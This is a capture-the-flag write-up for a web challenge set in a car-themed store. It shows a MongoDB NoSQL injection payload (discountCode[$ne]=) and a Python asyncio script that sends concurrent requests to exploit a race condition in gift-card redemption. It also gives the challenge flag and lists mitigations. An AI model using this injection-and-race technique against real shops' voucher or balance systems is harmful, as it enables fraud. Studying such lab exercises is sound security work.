srdnlenCTF web/Focus. Speed. I am speed.
My solution for srdnlenCTF web/Focus. Speed. I am speed. challenge
Challenge overview
This challenge presents a web application simulating a “CARS OFFICIAL STORE” where users can purchase various racing-themed items. The store features a point-based system and gift card redemption functionality.
Analysis
The store interface shows several purchasable items:
- Lightning McQueen Toy (Free)
- Mater’s Tow Hook (1 Point)
- Doc Hudson’s Racing Tires (2 Points)
- Lightning McQueen’s Secret Text (50 Points)
The application includes:
- a gift card redemption system
- a points- based economy
- a shopping interface
- JWT-based authentication
Vulnerabilities
Through analysis of the application, two critical vulnerabilities were identified:
NoSQL injection
The/redeem
endpoint is vulnerable to NoSQL injection through thediscountCode
parameter. The application uses MongoDB as its database backend, making it susceptible to oeprator injection attacks.Race condition
The voucher redemption process contains a race condition vulnerability due to:- a 1.5 second artificial delay in the processing
- lack of proper synchronization between balance read and write operations
This combination allows multiple redemption requests to be processed simultaneously before the balance is updated.
Exploitation
NoSQL injection
The first vulnerability can be exploited by using MongoDB’s $ne
(not equal) operator in the discount code parameter: GET /redeem?discountCode[$ne]=
This bypasses the validation check for valid discount codes.
Race condition exploitation
To exploit the race condition, we need to send multiple redemption requests simultaneously. Here’s the exploit script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import aiohttp
import asyncio
async def exploit():
jwt = "YOUR_JWT_TOKEN"
url = "http://speed.challs.srdnlen.it:8082/redeem"
async with aiohttp.ClientSession() as session:
tasks = [
session.get(
url,
params={"discountCode[$ne]": ""},
headers={"Cookie": f"jwt={jwt}"}
)
for _ in range(10)
]
responses = await asyncio.gather(*tasks)
for resp in responses:
print(await resp.text())
asyncio.run(exploit())
This script:
- creates multiple concurrent requests to the redemption endpoint
- uses the nosql injection payload
- exploits the race condition due to the 1.5s processing delay
Flag retrieval
After successfully exploiting both vulnerabilities to accumulate enough points:
- navigate to
/store
- purchase Lightning McQueen’s Secret Text (ID 4)
- Extract the flag from JSON response
Flag:
srdnlen{6peed_1s_My_0nly_Competition}
Key takeaways
- NoSQL injection prevention
- Always validate and sanitize input parameters
- Use strict type checking for database queries
- Implement proper parameter binding
- Race condition mitigation
- Implement proper transaction handling
- Remove unnecessary processing delays
- Implement proper synchronization mechanisms
- General security
- Implement rate limiting
- Add request validation
- Use secure session management